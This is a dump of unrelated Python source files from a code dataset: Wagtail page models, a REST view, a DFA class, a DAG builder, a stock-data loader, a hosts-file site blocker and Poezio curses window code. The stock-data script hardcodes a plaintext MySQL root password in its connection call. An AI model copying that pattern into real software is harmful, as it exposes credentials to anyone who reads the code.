'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n legacy_production_release_page_1 = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n legacy_production_release_page_2 = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n for_newbies_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n support_lifecycle_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.SET_NULL\n )\n\nNewHomePage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n MultiFieldPanel([\n PageChooserPanel('about_page'),\n PageChooserPanel('download_page'),\n PageChooserPanel('releases_page'),\n PageChooserPanel('latest_production_release_page'),\n PageChooserPanel('legacy_production_release_page_1'),\n PageChooserPanel('legacy_production_release_page_2'),\n PageChooserPanel('support_lifecycle_page'),\n PageChooserPanel('for_newbies_page'),\n ], \"Related Pages\"),\n]\n\n### Standard page\n\nclass StandardPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\nStandardPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n\n### Release page\n\nclass ReleasePage(StandardPage):\n is_supported = models.BooleanField(default=True)\n release_date = models.DateField(\"Release Date\", blank=True)\n\nReleasePage.content_panels = StandardPage.content_panels + [\n MultiFieldPanel([\n FieldPanel('release_date'),\n FieldPanel('is_supported'),\n ], \"Release Information\"),\n ]\n\n\n### News & Events \n\n# News & Events index page\nclass NewsEventsIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\nNewsEventsIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n# News index page\nclass NewsIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\n @property\n def news(self):\n news = NewsPage.objects.live().descendant_of(self)\n news = news.order_by('-date')\n return news\n\nNewsIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n# News page\nclass NewsPage(Page):\n date = models.DateField(\"News date\")\n body = RichTextField(blank=True)\n\nNewsPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('date'),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Event index page\nclass EventIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\n @property\n def events(self):\n events = EventPage.objects.live().descendant_of(self)\n events = events.order_by('date_from')\n return events\n\nEventIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Event page\nclass EventPage(Page):\n date_from = models.DateField(\"Start date\")\n date_to = models.DateField(\n \"End date\",\n null=True,\n blank=True,\n help_text=\"Not required if event is on a single day\"\n )\n location = models.CharField(max_length=255)\n body = RichTextField(blank=True)\n\nEventPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('date_from'),\n FieldPanel('date_to'),\n FieldPanel('location'),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Press index page\nclass PressIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\n @property\n def presses(self):\n presses = PressPage.objects.live().descendant_of(self)\n presses = presses.order_by('-date')\n return presses\n\nPressIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Press page\nclass PressPage(Page):\n date = models.DateField(\"Publish date\")\n link = models.URLField(\"Press link\")\n author = models.CharField(max_length=255, blank=True)\n source_name = models.CharField(max_length=255, blank=True)\n source_link = models.URLField(\"Source reference\", blank=True)\n body = RichTextField(blank=True)\n\nPressPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('date'),\n FieldPanel('link'),\n FieldPanel('author'),\n FieldPanel('source_name'),\n FieldPanel('source_link'),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Multimedia index page\nclass MultimediaIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\nMultimediaIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\nclass MultimediaPageRelatedFile(models.Model):\n title = models.CharField(max_length=255)\n link_document = models.ForeignKey(\n 'wagtaildocs.Document',\n null=True,\n blank=True,\n related_name='+'\n )\n\n panels = [\n FieldPanel('title'),\n DocumentChooserPanel('link_document'),\n ]\n\n page = ParentalKey('freebsd.MultimediaPage', related_name='files')\n\n# Multimedia page\nclass MultimediaPage(Page):\n link = models.URLField(\"Media link\")\n source_name = models.CharField(\"Source\", max_length=255, blank=True)\n source_link = models.URLField(\"Source link\", blank=True)\n date = models.DateField(\"Date added\", blank=True)\n body = RichTextField(blank=True)\n\n\nMultimediaPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('link'),\n FieldPanel('source_name'),\n FieldPanel('source_link'),\n FieldPanel('date'),\n FieldPanel('body', classname=\"full\"),\n InlinePanel(MultimediaPage, 'files', label=\"Related files\"),\n]\n\n\n### Security Advisories\n\n# Security advisory index page\nclass AdvisoryIndexPage(Page):\n intro = models.CharField(max_length=255, blank=True)\n body = RichTextField(blank=True)\n\n @property\n def advisories(self):\n advisories = AdvisoryPage.objects.live().descendant_of(self)\n advisories = advisories.order_by('-date')\n return advisories\n\nAdvisoryIndexPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('intro', classname=\"full\"),\n FieldPanel('body', classname=\"full\"),\n]\n\n# Security advisory page\nclass AdvisoryPage(Page):\n date = models.DateField(\"Date added\")\n body = RichTextField(blank=True)\n file = models.ForeignKey(\n 'wagtaildocs.Document',\n null=True,\n blank=True,\n on_delete=models.SET_NULL, # Warnings want this\n related_name='+'\n )\n\nAdvisoryPage.content_panels = [\n FieldPanel('title'),\n FieldPanel('date'),\n FieldPanel('body', classname=\"full\"),\n DocumentChooserPanel('file'),\n]\n\n\n","sub_path":"freebsd/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"82169361","text":"from rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom push_notifications.models import PushNotificationToken\nfrom push_notifications.serializers import PushNotificationTokenSerializer\nfrom drf_yasg2.utils import swagger_auto_schema\n\n\n@swagger_auto_schema(\n methods=['PUT'],\n request_body=PushNotificationTokenSerializer,\n responses={\n 200: PushNotificationTokenSerializer(many=False),\n 400: 'Bad request',\n },\n operation_description='Save a push notification token of form \"ExponentPushToken[xyz]\"')\n@api_view(['PUT'])\ndef create_or_update_push_notification_token(request, *args, **kwargs):\n data = request.data.copy()\n data['id'] = kwargs['token']\n\n serializer = get_serializer_for_create_or_update(data)\n if not serializer.is_valid():\n return Response(serializer.data, status=status.HTTP_400_BAD_REQUEST)\n\n serializer.save()\n return Response(serializer.data)\n\n\ndef get_serializer_for_create_or_update(data):\n the_id = data['id']\n create = not PushNotificationToken.objects.filter(pk=the_id).exists()\n\n if create:\n return PushNotificationTokenSerializer(data=data)\n\n existing_instance = PushNotificationToken.objects.get(pk=the_id)\n return PushNotificationTokenSerializer(existing_instance, data=data)\n","sub_path":"push_notifications/view_sets.py","file_name":"view_sets.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"215019627","text":"class AFD:\n def __init__(self,nomeArq,leArq):\n if(leArq == True):\n arq = open(nomeArq, 'r')\n self.Q = arq.readline().strip().split(' ')\n self.S = arq.readline().strip().split(' ')\n self.q0 = str(arq.readline()).strip()\n self.F = arq.readline().strip().split(' ')\n self.transicoes = arq.readlines()\n arq.close()\n\n matriz = []\n for i in range(len(self.transicoes)):\n matriz.append(self.transicoes[i].strip().split())\n self.deltad = {}\n for k in range(len(matriz)):\n self.deltad[(matriz[k][0], matriz[k][1])] = matriz[k][2]\n else:\n self.Q = []\n self.S = []\n self.q0 = []\n self.F = []\n self.deltad = {}\n\n def pertence(self, carac):\n if carac in self.S:\n return True\n return False\n\n def validacaocadeia(self, sequencia):\n for i in sequencia:\n if(self.pertence(i) == False):\n return False\n return True\n\n\n def percorreAFD(self, sequencia, estadoAtual):\n if sequencia == '':\n return estadoAtual in self.F\n else:\n proxcaract = sequencia[0]\n dupla = (estadoAtual, proxcaract)\n if dupla in self.deltad:\n print(dupla,\" -> \",self.deltad[dupla])\n return self.percorreAFD(sequencia[1:], self.deltad[dupla])\n else:\n return False\n\n\n def printAFD(self):\n print('\\n\\n----------\\033[1;34mAUTOMATO FINITO DETERMINISTICO\\033[0;0m----------\\n')\n print('Estados: ', self.Q)\n print('Alfabeto: ', self.S)\n print('Estado inicial: ', self.q0)\n print('Estados finais: ', self.F)\n print('Transições:')\n print('(Estado atual, Simbolo) -> Estado resultante\\n')\n for i in self.deltad:\n print(i,' -> ',self.deltad[i])\n print('\\n--------------------------------------------------\\n')","sub_path":"T2/AFD.py","file_name":"AFD.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"492687112","text":"#!/usr/bin/env python\n# coding:utf-8\n'''\nbuild_pyfile\n'''\n# **********************************************************\n# * Author : xfzheng\n# * Email : 329472010@qq.com\n# * Create time : 2019-03-29 11:27\n# * Last modified : 2019-03-30 15:26\n# * Filename : build_dag.py\n# * Description :\n# **********************************************************\n\n# import time\n\n# from datetime import datetime\n\n\nimport os\nimport sys\nfrom shutil import copyfile\n\nfrom jinja2 import FileSystemLoader, Environment\n\ndef copy_base_class(obj_path):\n\n if obj_path.find('.') >= 0:\n path = '/'.join(obj_path.split('.'))\n else:\n path = obj_path\n\n cur_path= os.path.dirname(os.path.abspath(__file__))\n src_file = os.path.join(cur_path, '../base/BaseDag.py')\n obj_file = os.path.join(cur_path, '{}/BaseDag.py'.format(path))\n\n try:\n copyfile(src_file, obj_file)\n except IOError as ex:\n print('Unable to copy file. %s' % src_file)\n sys.exit(1)\n\n\ndef build_dag(dag_path, dag_filename, args, template_path='../template'):\n \"\"\"\n # 可以当参数传递进去\n filename = 'test.py'\n dag_id = 'test_{}'.format(time.strftime('%Y%m%d%H', time.localtime()))\n interval = '0 10 * * *'\n imports = [\"from xf.abc import abc\", \"from xf.abc import bcd\",\n \"from xf.abc import dee\",\n \"from xf.abc import efg\"\n ]\n operators = [\"abc\", \"bcd\", \"dee\", \"efg\"]\n depends = [\"abc >> bcd >>\", \"dee >> efg\"]\n\n args = {\"imports\": imports,\n \"start_date\": \"datetime(2019,03,28)\",\n \"email_on_failure\": \"True\",\n \"email_on_retry\": \"True\",\n \"dag_id\": dag_id,\n \"interval\": interval,\n \"operators\": operators,\n \"depends\": depends}\n\n \"\"\"\n\n copy_base_class(dag_path)\n dag_filepath = os.path.join(dag_path, dag_filename)\n loader = FileSystemLoader(template_path, encoding='utf-8')\n env = Environment(loader=loader)\n temp = env.get_template('dag_template.tp')\n temp.stream(**args).dump(dag_filename)\n","sub_path":"bin/build_dag.py","file_name":"build_dag.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"113238023","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 20 20:35:29 2020\n\n@author: zhouh\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport pymysql\ndb = pymysql.connect(\"localhost\", \"root\", \"myangelxjl\",\"hkholding\" )\ncursor = db.cursor()\nimport sys\n#\n\nfrom WindPy import w\nw.start()\n\nupdateDate = sys.argv[1]\n#updateDate = \"2020-02-19\" \n \n#沪股通\ndailyDataSH = w.wset(\"shstockholdings\",\"date=%s\" % updateDate,\n \"field=wind_code,hold_stocks,publish_ratio,calculate_ratio,float_sharesratio\")\ndailyDataSH = pd.DataFrame(np.array(dailyDataSH.Data).T, \n columns=[\"wind_code\",\"hold_stocks\",\"publish_ratio\",\"calculate_ratio\",\"float_sharesratio\"])\ndailyDataSH = dailyDataSH.astype({\"wind_code\" : str, \"hold_stocks\" : float, \"publish_ratio\" : float, \n \"calculate_ratio\" : float, \"float_sharesratio\" : float})\ndailyDataSH[\"wind_code\"] = dailyDataSH[\"wind_code\"].str.slice(0, 6)\n\n\n#深股通\ndailyDataSZ = w.wset(\"szstockholdings\",\"date=%s\" % updateDate,\n \"field=wind_code,hold_stocks,publish_ratio,calculate_ratio,float_sharesratio\")\ndailyDataSZ = pd.DataFrame(np.array(dailyDataSZ.Data).T, \n columns=[\"wind_code\",\"hold_stocks\",\"publish_ratio\",\"calculate_ratio\",\"float_sharesratio\"])\ndailyDataSZ = dailyDataSZ.astype({\"wind_code\" : str, \"hold_stocks\" : float, \"publish_ratio\" : float, \n \"calculate_ratio\" : float, \"float_sharesratio\" : float})\ndailyDataSZ[\"wind_code\"] = dailyDataSZ[\"wind_code\"].str.slice(0, 6)\n\ndailyData = dailyDataSH.append(dailyDataSZ)\ndailyData[\"dataDate\"] = updateDate\n\n\nsqlCodeDelete = \"DELETE FROM WIND_DATA_DAILY WHERE DATADATE='%s';\" % updateDate\nsqlCodeInsert = \"INSERT INTO WIND_DATA_DAILY VALUES (\" + \",\".join([\"%s\"] * dailyData.shape[1]) + \");\"\n\n\ntry:\n dailyData = dailyData[[\"dataDate\",\"wind_code\",\"hold_stocks\",\"publish_ratio\",\"calculate_ratio\",\"float_sharesratio\"]]\n #与SQL的空值兼容问题\n dailyData = dailyData.where(dailyData.notnull(), None) \n\n try:\n cursor.execute(sqlCodeDelete)\n db.commit()\n cursor.executemany(sqlCodeInsert, dailyData.values.tolist())\n db.commit()\n print (\"Finish updating daily trading data: %s rows.\" % str(len(dailyData)))\n except:\n db.rollback()\n print (\"Failed\")\nexcept:\n print (\"There is no data for date:%s\" % updateDate)\n \ndb.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"windUpdate.py","file_name":"windUpdate.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"542593739","text":"#!usr/bin/env python 3\nimport configparser\n\ndef write_config():\n#Opening config.ini and writting default values there\n config = configparser.ConfigParser()\n config[\"DEFAULT\"] ={\"PORT\" : 12345,\n \"NAME\" : \"Default chat server\"\n }\n with open(\"config.ini\", \"w\") as configfile:\n config.write(configfile)\n\ndef read_config(configfile):\n#Opening config.ini and reading values from there\n config = configparser.ConfigParser()\n config.read(\"config.ini\")\n \n default = config[\"DEFAULT\"]\n\n port = default.get(\"PORT\",\"12345\")\n name = default.get(\"NAME\", \"Default chat server\")\n \n port = int(port) #Converting str to int\n \n return (port, name)\n\ndef configurator():\n#Read configuration file if possible and create one if needed\n try:\n config = open(\"config.ini\", \"r\")\n except IOError:\n print(\"File doesn't exist\")\n write_config()\n finally:\n port, name = read_config(config)\n config.close()\n return (port, name)\n\n","sub_path":"src/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"100522515","text":"class Solution(object):\n def spiralOrder(self, matrix):\n\n if not matrix: return []\n # return the answer\n ans = []\n\n # get the index of the first row and the last row\n r1, r2 = 0, len(matrix) - 1\n\n # get the index of the first column and the last column\n c1, c2 = 0, len(matrix[0]) - 1\n\n # iterate through the matrix\n while r1 <= r2 and c1 <= c2:\n\n # if the sprial coords return the result\n for c in range(c1, c2 + 1):\n ans.append(matrix[r1][c])\n\n # return all the elements from the right\n for r in range(r1 + 1, r2 + 1):\n ans.append(matrix[r][c2])\n\n if r1 < r2 and c1 < c2:\n\n # return all the elements from the bottom\n for c in range(c2 - 1, c1, -1):\n ans.append(matrix[r2][c])\n\n # return all the elements from the left\n for r in range(r2, r1, -1):\n ans.append(matrix[r][c1])\n\n # reduce the layers\n r1 += 1;\n r2 -= 1\n c1 += 1;\n c2 -= 1\n return ans","sub_path":"medium/Spiral_Matrix/sungho/Layer.py","file_name":"Layer.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"178048906","text":"from __future__ import (absolute_import,\n division,\n print_function,\n unicode_literals)\n\nfrom apps.cso.sources import (mtnhub, snowpilot)\n\nSOURCES = {\n mtnhub.SOURCE_NAME: {\n 'model': mtnhub.model,\n 'serializer': mtnhub.serializer,\n 'search': mtnhub.search\n },\n\n snowpilot.SOURCE_NAME: {\n 'model': snowpilot.model,\n 'serializer': snowpilot.serializer,\n 'search': snowpilot.search\n }\n}","sub_path":"src/csoapi/apps/cso/sources/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"614126284","text":"import time\r\nimport os\r\nfrom datetime import datetime as dt\r\nwhile True:\r\n if os.path.exists('C:/Windows/System32/drivers/etc/hosts'):\r\n hosts_temp='hosts'\r\n hosts_path='C:/Windows/System32/drivers/etc/hosts'\r\n redirect='127.0.0.1'\r\n websitelist=['https://www.facebook.com','www.facebook.com','facebook.com']\r\n print(\"Path exists\")\r\n if dt(dt.now().year,dt.now().month,dt.now().day,8) < dt.now() \n#\n# This file is part of Poezio.\n#\n# Poezio is free software: you can redistribute it and/or modify\n# it under the terms of the zlib license. See the COPYING file.\n\n\"\"\"\nDefine all the windows.\nA window is a little part of the screen, for example the input window,\nthe text window, the roster window, etc.\nA Tab (see tab.py) is composed of multiple Windows\n\"\"\"\n\nfrom gettext import (bindtextdomain, textdomain, bind_textdomain_codeset,\n gettext as _)\n\nimport logging\nlog = logging.getLogger(__name__)\n\nimport curses\nimport string\nfrom datetime import datetime\nfrom math import ceil, log10\nfrom config import config\n\nfrom threading import RLock\n\nfrom contact import Contact, Resource\nfrom roster import RosterGroup\nimport poopt\n\nfrom sleekxmpp import JID\nfrom common import safeJID\nimport common\n\nimport core\nimport singleton\nimport collections\n\nfrom theming import get_theme, to_curses_attr, read_tuple, dump_tuple\n\nFORMAT_CHAR = '\\x19'\n# These are non-printable chars, so they should never appear in the input, I\n# guess. But maybe we can find better chars that are even less reasky.\nformat_chars = ['\\x0E', '\\x0F', '\\x10', '\\x11', '\\x12','\\x13', '\\x14', '\\x15','\\x16', '\\x17']\n\nallowed_color_digits = ('0', '1', '2', '3', '4', '5', '6', '7')\n# msg is a reference to the corresponding Message tuple. text_start and text_end are the position\n# delimiting the text in this line.\n# first is a bool telling if this is the first line of the message.\nLine = collections.namedtuple('Line', 'msg start_pos end_pos prepend')\n\ng_lock = RLock()\n\nLINES_NB_LIMIT = 4096\n\ndef find_first_format_char(text):\n pos = -1\n for char in format_chars:\n p = text.find(char)\n if p == -1:\n continue\n if pos == -1 or p < pos:\n pos = p\n return pos\n\ndef truncate_nick(nick, size=None):\n size = size or config.get('max_nick_length', 25)\n if size < 1:\n size = 1\n if nick and len(nick) > size:\n return nick[:size]+'…'\n return nick\n\ndef parse_attrs(text, previous=None):\n next_attr_char = text.find(FORMAT_CHAR)\n if previous:\n attrs = previous\n else:\n attrs = []\n while next_attr_char != -1 and text:\n if next_attr_char + 1 < len(text):\n attr_char = text[next_attr_char+1].lower()\n else:\n attr_char = str()\n if attr_char == 'o':\n attrs = []\n elif attr_char == 'u':\n attrs.append('u')\n elif attr_char == 'b':\n attrs.append('b')\n if attr_char in string.digits and attr_char != '':\n color_str = text[next_attr_char+1:text.find('}', next_attr_char)]\n if color_str:\n attrs.append(color_str + '}')\n text = text[next_attr_char+len(color_str)+2:]\n else:\n text = text[next_attr_char+2:]\n next_attr_char = text.find(FORMAT_CHAR)\n return attrs\n\n\nclass Win(object):\n _win_core = None\n _tab_win = None\n def __init__(self):\n self._win = None\n\n def _resize(self, height, width, y, x):\n if height == 0 or width == 0:\n self.height, self.width = height, width\n return\n self.height, self.width, self.x, self.y = height, width, x, y\n try:\n self._win = Win._tab_win.derwin(height, width, y, x)\n except:\n log.debug('DEBUG: mvwin returned ERR. Please investigate')\n\n # If this ever fail, uncomment that ^\n\n def resize(self, height, width, y, x):\n \"\"\"\n Override if something has to be done on resize\n \"\"\"\n with g_lock:\n self._resize(height, width, y, x)\n\n def _refresh(self):\n self._win.noutrefresh()\n\n def addnstr(self, *args):\n \"\"\"\n Safe call to addnstr\n \"\"\"\n try:\n self._win.addnstr(*args)\n except:\n pass\n\n def addstr(self, *args):\n \"\"\"\n Safe call to addstr\n \"\"\"\n try:\n self._win.addstr(*args)\n except:\n pass\n\n def move(self, y, x):\n try:\n self._win.move(y, x)\n except:\n self._win.move(0, 0)\n\n def addstr_colored(self, text, y=None, x=None):\n \"\"\"\n Write a string on the window, setting the\n attributes as they are in the string.\n For example:\n \\x19bhello → hello in bold\n \\x191}Bonj\\x192}our → 'Bonj' in red and 'our' in green\n next_attr_char is the \\x19 delimiter\n attr_char is the char following it, it can be\n one of 'u', 'b', 'c[0-9]'\n \"\"\"\n if y is not None and x is not None:\n self.move(y, x)\n next_attr_char = text.find(FORMAT_CHAR)\n while next_attr_char != -1 and text:\n if next_attr_char + 1 < len(text):\n attr_char = text[next_attr_char+1].lower()\n else:\n attr_char = str()\n if next_attr_char != 0:\n self.addstr(text[:next_attr_char])\n if attr_char == 'o':\n self._win.attrset(0)\n elif attr_char == 'u':\n self._win.attron(curses.A_UNDERLINE)\n elif attr_char == 'b':\n self._win.attron(curses.A_BOLD)\n if (attr_char in string.digits or attr_char == '-') and attr_char != '':\n color_str = text[next_attr_char+1:text.find('}', next_attr_char)]\n if ',' in color_str:\n tup, char = read_tuple(color_str)\n self._win.attron(to_curses_attr(tup))\n if char:\n if char == 'o':\n self._win.attrset(0)\n elif char == 'u':\n self._win.attron(curses.A_UNDERLINE)\n elif char == 'b':\n self._win.attron(curses.A_BOLD)\n elif color_str:\n self._win.attron(to_curses_attr((int(color_str), -1)))\n text = text[next_attr_char+len(color_str)+2:]\n else:\n text = text[next_attr_char+2:]\n next_attr_char = text.find(FORMAT_CHAR)\n self.addstr(text)\n\n def finish_line(self, color=None):\n \"\"\"\n Write colored spaces until the end of line\n \"\"\"\n (y, x) = self._win.getyx()\n size = self.width-x\n if color:\n self.addnstr(' '*size, size, to_curses_attr(color))\n else:\n self.addnstr(' '*size, size)\n\n @property\n def core(self):\n if not Win._win_core:\n Win._win_core = singleton.Singleton(core.Core)\n return Win._win_core\n\nclass UserList(Win):\n def __init__(self):\n Win.__init__(self)\n self.pos = 0\n\n def scroll_up(self):\n self.pos += self.height-1\n return True\n\n def scroll_down(self):\n pos = self.pos\n self.pos -= self.height-1\n if self.pos < 0:\n self.pos = 0\n return self.pos != pos\n\n def draw_plus(self, y):\n self.addstr(y, self.width-2, '++', to_curses_attr(get_theme().COLOR_MORE_INDICATOR))\n\n def refresh(self, users):\n log.debug('Refresh: %s',self.__class__.__name__)\n if config.get(\"hide_user_list\", \"false\") == \"true\":\n return # do not refresh if this win is hidden.\n with g_lock:\n self._win.erase()\n if config.get('user_list_sort', 'desc').lower() == 'asc':\n y, x = self._win.getmaxyx()\n y -= 1\n users = sorted(users, reverse=True)\n else:\n y = 0\n users = sorted(users)\n\n if len(users) < self.height:\n self.pos = 0\n elif self.pos >= len(users) - self.height and self.pos != 0:\n self.pos = len(users) - self.height\n for user in users[self.pos:]:\n self.draw_role_affiliation(y, user)\n self.draw_status_chatstate(y, user)\n self.addstr(y, 2, poopt.cut_by_columns(user.nick, self.width-2), to_curses_attr(user.color))\n if config.get('user_list_sort', 'desc').lower() == 'asc':\n y -= 1\n else:\n y += 1\n if y == self.height:\n break\n # draw indicators of position in the list\n if self.pos > 0:\n if config.get('user_list_sort', 'desc').lower() == 'asc':\n self.draw_plus(self.height-1)\n else:\n self.draw_plus(0)\n if self.pos + self.height < len(users):\n if config.get('user_list_sort', 'desc').lower() == 'asc':\n self.draw_plus(0)\n else:\n self.draw_plus(self.height-1)\n self._refresh()\n\n def draw_role_affiliation(self, y, user):\n theme = get_theme()\n color = theme.color_role(user.role)\n symbol = theme.char_affiliation(user.affiliation)\n self.addstr(y, 1, symbol, to_curses_attr(color))\n\n def draw_status_chatstate(self, y, user):\n show_col = get_theme().color_show(user.show)\n if user.chatstate == 'composing':\n char = get_theme().CHAR_CHATSTATE_COMPOSING\n elif user.chatstate == 'active':\n char = get_theme().CHAR_CHATSTATE_ACTIVE\n elif user.chatstate == 'paused':\n char = get_theme().CHAR_CHATSTATE_PAUSED\n else:\n char = get_theme().CHAR_STATUS\n self.addstr(y, 0, char, to_curses_attr(show_col))\n\n def resize(self, height, width, y, x):\n with g_lock:\n self._resize(height, width, y, x)\n self._win.attron(to_curses_attr(get_theme().COLOR_VERTICAL_SEPARATOR))\n self._win.vline(0, 0, curses.ACS_VLINE, self.height)\n self._win.attroff(to_curses_attr(get_theme().COLOR_VERTICAL_SEPARATOR))\n\nclass Topic(Win):\n def __init__(self):\n Win.__init__(self)\n self._message = ''\n\n def refresh(self, topic=None):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n if topic:\n msg = topic[:self.width-1]\n else:\n msg = self._message[:self.width-1]\n self.addstr(0, 0, msg, to_curses_attr(get_theme().COLOR_TOPIC_BAR))\n (y, x) = self._win.getyx()\n remaining_size = self.width - x\n if remaining_size:\n self.addnstr(' '*remaining_size, remaining_size,\n to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self._refresh()\n\n def set_message(self, message):\n self._message = message\n\nclass GlobalInfoBar(Win):\n def __init__(self):\n Win.__init__(self)\n\n def refresh(self):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n self.addstr(0, 0, \"[\", to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n create_gaps = config.getl('create_gaps', 'false') == 'true'\n show_names = config.getl('show_tab_names', 'false') == 'true'\n show_nums = config.getl('show_tab_numbers', 'true') != 'false'\n use_nicks = config.getl('use_tab_nicks', 'true') != 'false'\n # ignore any remaining gap tabs if the feature is not enabled\n sorted_tabs = [tab for tab in self.core.tabs if tab] if not create_gaps else self.core.tabs[:]\n for nb, tab in enumerate(sorted_tabs):\n if not tab: continue\n color = tab.color\n if config.get('show_inactive_tabs', 'true') == 'false' and\\\n color is get_theme().COLOR_TAB_NORMAL:\n continue\n try:\n if show_nums or not show_names:\n self.addstr(\"%s\" % str(nb), to_curses_attr(color))\n if show_names:\n self.addstr(' ', to_curses_attr(color))\n if show_names:\n if use_nicks:\n self.addstr(\"%s\" % str(tab.get_nick()), to_curses_attr(color))\n else:\n self.addstr(\"%s\" % str(tab.get_name()), to_curses_attr(color))\n self.addstr(\"|\", to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n except: # end of line\n break\n (y, x) = self._win.getyx()\n self.addstr(y, x-1, '] ', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n (y, x) = self._win.getyx()\n remaining_size = self.width - x\n self.addnstr(' '*remaining_size, remaining_size,\n to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self._refresh()\n\nclass VerticalGlobalInfoBar(Win):\n def __init__(self, scr):\n Win.__init__(self)\n self._win = scr\n\n def refresh(self):\n with g_lock:\n height, width = self._win.getmaxyx()\n self._win.erase()\n sorted_tabs = [tab for tab in self.core.tabs if tab]\n if config.get('show_inactive_tabs', 'true') == 'false':\n sorted_tabs = [tab for tab in sorted_tabs if\\\n tab.vertical_color != get_theme().COLOR_VERTICAL_TAB_NORMAL]\n nb_tabs = len(sorted_tabs)\n use_nicks = config.getl('use_tab_nicks', 'true') != 'false'\n if nb_tabs >= height:\n for y, tab in enumerate(sorted_tabs):\n if tab.vertical_color == get_theme().COLOR_VERTICAL_TAB_CURRENT:\n pos = y\n break\n # center the current tab as much as possible\n if pos < height//2:\n sorted_tabs = sorted_tabs[:height]\n elif nb_tabs - pos <= height//2:\n sorted_tabs = sorted_tabs[-height:]\n else:\n sorted_tabs = sorted_tabs[pos-height//2 : pos+height//2]\n for y, tab in enumerate(sorted_tabs):\n color = tab.vertical_color\n self.addstr(y if config.get('vertical_tab_list_sort', 'desc') != 'asc' else height - y - 1, 0, \"%2d\" % tab.nb, to_curses_attr(get_theme().COLOR_VERTICAL_TAB_NUMBER))\n self.addstr('.')\n if use_nicks:\n self.addnstr(\"%s\" % tab.get_nick(), width - 4, to_curses_attr(color))\n else:\n self.addnstr(\"%s\" % tab.get_name(), width - 4, to_curses_attr(color))\n self._win.attron(to_curses_attr(get_theme().COLOR_VERTICAL_SEPARATOR))\n self._win.vline(0, width-1, curses.ACS_VLINE, height)\n self._win.attroff(to_curses_attr(get_theme().COLOR_VERTICAL_SEPARATOR))\n self._refresh()\n\nclass InfoWin(Win):\n \"\"\"\n Base class for all the *InfoWin, used in various tabs. For example\n MucInfoWin, etc. Provides some useful methods.\n \"\"\"\n def __init__(self):\n Win.__init__(self)\n\n def 